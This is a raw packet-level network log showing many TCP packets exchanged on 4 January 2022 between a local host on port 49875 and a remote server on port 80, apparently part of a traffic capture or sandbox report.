Jan 4, 2022 19:33:51.716154099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716181040 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716209888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716223955 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716238976 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716265917 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716268063 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716294050 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716322899 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716326952 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716351032 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716381073 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716409922 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716413021 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716439009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716448069 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716469049 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716496944 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716526985 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716542006 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716556072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716583967 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716584921 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716614962 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716615915 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716641903 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716670990 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716674089 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716700077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716726065 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716727972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716759920 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716789961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716793060 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716818094 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716840029 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716865063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716898918 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716922998 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.716928005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716963053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.716990948 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717005014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717042923 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717055082 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717072964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717102051 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717130899 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717130899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717160940 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717190027 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717192888 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717219114 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717242956 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717247963 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717274904 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717299938 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717303038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717331886 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717361927 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717366934 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717391014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717418909 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717437983 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717447996 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717464924 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717477083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717504025 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717525005 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717530966 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717559099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717581987 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717588902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717618942 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717647076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717658997 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717677116 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717694044 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717705965 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717732906 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717752934 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717761040 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717788935 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717807055 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717818022 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717847109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717866898 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717878103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717906952 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717936993 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717937946 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.717964888 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717993021 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.717998028 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718022108 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718050003 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718070984 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718079090 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718102932 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718106031 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718135118 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718163013 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718180895 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718189001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718213081 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718219995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718261957 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718296051 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718314886 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718324900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718343973 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718353033 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718381882 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718396902 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718410969 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718440056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718456984 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718470097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718497992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718516111 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718525887 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718554974 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718571901 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718581915 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718610048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718619108 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718637943 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718637943 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718664885 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718681097 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718693018 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718722105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718739033 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718760014 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718796968 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718811035 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718838930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718883038 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718914986 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718923092 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718957901 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.718975067 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.718990088 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719018936 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719048977 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719050884 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719078064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719096899 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719105005 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719135046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719151020 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719161987 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719183922 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719207048 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719229937 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719253063 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719274998 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719288111 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719304085 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719327927 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719336987 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719342947 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719378948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719423056 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719427109 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719464064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719506979 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719537973 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719588995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719619036 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719654083 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719659090 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719692945 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719713926 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719737053 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719758034 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719769955 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719778061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719780922 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719808102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719813108 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719831944 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719852924 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719877005 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719886065 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719908953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719919920 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719930887 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719943047 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719953060 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719959974 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719974995 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.719984055 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.719995022 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720016956 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720024109 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720027924 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720036983 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720048904 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720057964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720068932 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720077991 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720091105 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720098972 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720109940 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720119953 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720132113 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720139980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720154047 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720160961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720180035 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720187902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720202923 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720208883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720221996 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720230103 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720249891 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720257044 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720263958 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720272064 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720285892 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720293045 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720304966 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720313072 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720324993 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720333099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720345974 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720354080 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720374107 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720375061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720397949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720407963 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720418930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720439911 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720439911 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720462084 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720468998 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720482111 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720501900 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720505953 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720523119 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720534086 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720542908 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720563889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720568895 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720586061 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720601082 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720607042 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720628023 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720630884 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720647097 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720660925 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720668077 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720684052 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720688105 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720715046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720716000 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720745087 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720746040 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720768929 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720774889 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720788956 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720807076 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720815897 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720838070 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720877886 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720877886 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720882893 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720900059 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720921993 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720932007 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720942974 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720952034 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720963001 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720971107 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.720983028 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.720990896 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.721010923 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.721034050 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739418030 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739458084 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739480019 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739500046 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739521027 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739545107 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739568949 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739589930 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.739595890 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739661932 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739670038 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739675045 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739679098 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.739684105 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.742223978 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.760943890 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.761085987 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.766839981 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766872883 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766896009 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766927958 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766949892 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.766961098 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766967058 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.766993999 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.766997099 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767025948 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767039061 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767062902 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767072916 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767081022 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767097950 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767116070 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767128944 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767147064 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767163992 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767180920 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767189980 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767266035 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767285109 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767298937 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767318964 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767329931 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767353058 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767374039 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767385960 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767400980 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767421961 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767431974 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767456055 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767469883 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767491102 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767502069 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767524004 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767559052 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767560959 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767579079 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767594099 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767610073 CET	49875	80	192.168.2.5	141.8.193.236
Jan 4, 2022 19:33:51.767627954 CET	80	49875	141.8.193.236	192.168.2.5
Jan 4, 2022 19:33:51.767654896 CET	49875	80	192.168.2.5	141.8.193.236
